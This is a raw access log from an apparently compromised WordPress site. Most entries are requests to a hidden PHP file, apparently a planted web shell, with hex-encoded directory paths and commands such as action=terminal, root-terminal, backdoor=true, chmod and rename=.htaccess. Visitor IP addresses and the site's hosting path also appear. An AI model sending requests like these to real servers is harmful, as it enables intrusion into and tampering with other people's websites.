"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a732f7770 HTTP/2" 200 3313 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.190.191.225 - - [17/Nov/2025:12:30:27 +0000] "GET /wp-content/themes/twentytwenty/inc/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11726 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:30:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=assets&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f6261636b75706c79 HTTP/2" 200 3216 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3137 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3232 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.167.4 - - [17/Nov/2025:12:30:31 +0000] "GET /assets/css/fonts/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 102.249.33.58 - - [17/Nov/2025:12:30:31 +0000] "GET /assets/wp-includes/wp-contentaa/js/js/js/js/ HTTP/1.1" 200 662 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:30:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 105.101.77.223 - - [17/Nov/2025:12:30:34 +0000] "GET /assets/wp/network/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:30:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c75646573 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.22.66.158 - - [17/Nov/2025:12:30:37 +0000] "GET /assets/backuply/css/wp/includes/jcfxeds/wp-content/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.2.3" 74.7.227.184 - - [17/Nov/2025:12:30:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473&rename=jcfxeds HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3284 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:41 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6261636b75706c792f7770&rename=.htaccess HTTP/2" 200 3380 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373&rename=backuply HTTP/2" 200 3488 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:45 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3215 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:48 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3200 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c756465732f6a636678656473&rename=jcfxeds HTTP/2" 200 3319 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3213 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770&rename=.htaccess HTTP/2" 200 3378 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f7770 HTTP/2" 200 3304 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473&rename=jcfxeds HTTP/2" 200 3276 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:30:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473 HTTP/2" 200 3291 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:02 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373&rename=backuply HTTP/2" 200 3480 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3302 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=network&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c75646573 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3467 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:16 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3228 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f75706772616465 HTTP/2" 200 3122 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3244 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3227 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=twentytwentyfive&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3250 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3263 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:27 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f6a71756572792f7770 HTTP/2" 200 3307 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3238 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a636678656473 HTTP/2" 200 3208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c79 HTTP/2" 200 3205 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7770 HTTP/2" 200 3259 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73&rename=jquery HTTP/2" 200 3238 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f7770 HTTP/2" 200 3204 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3342 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3268 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3230 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3359 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:45 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f637373&rename=plugins HTTP/2" 200 3508 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:47 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c75646573&rename=includes HTTP/2" 200 3222 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:51 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473 HTTP/2" 200 3367 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573 HTTP/2" 200 3551 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a73 HTTP/2" 200 3183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f7770 HTTP/2" 200 3196 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3249 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:31:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:00 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f757067726164652f7770&rename=.htaccess HTTP/2" 200 3325 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:02 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=backuply&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3311 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f706c7567696e732f6261636b75706c79 HTTP/2" 200 3150 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:06 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3237 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:08 +0000] "GET 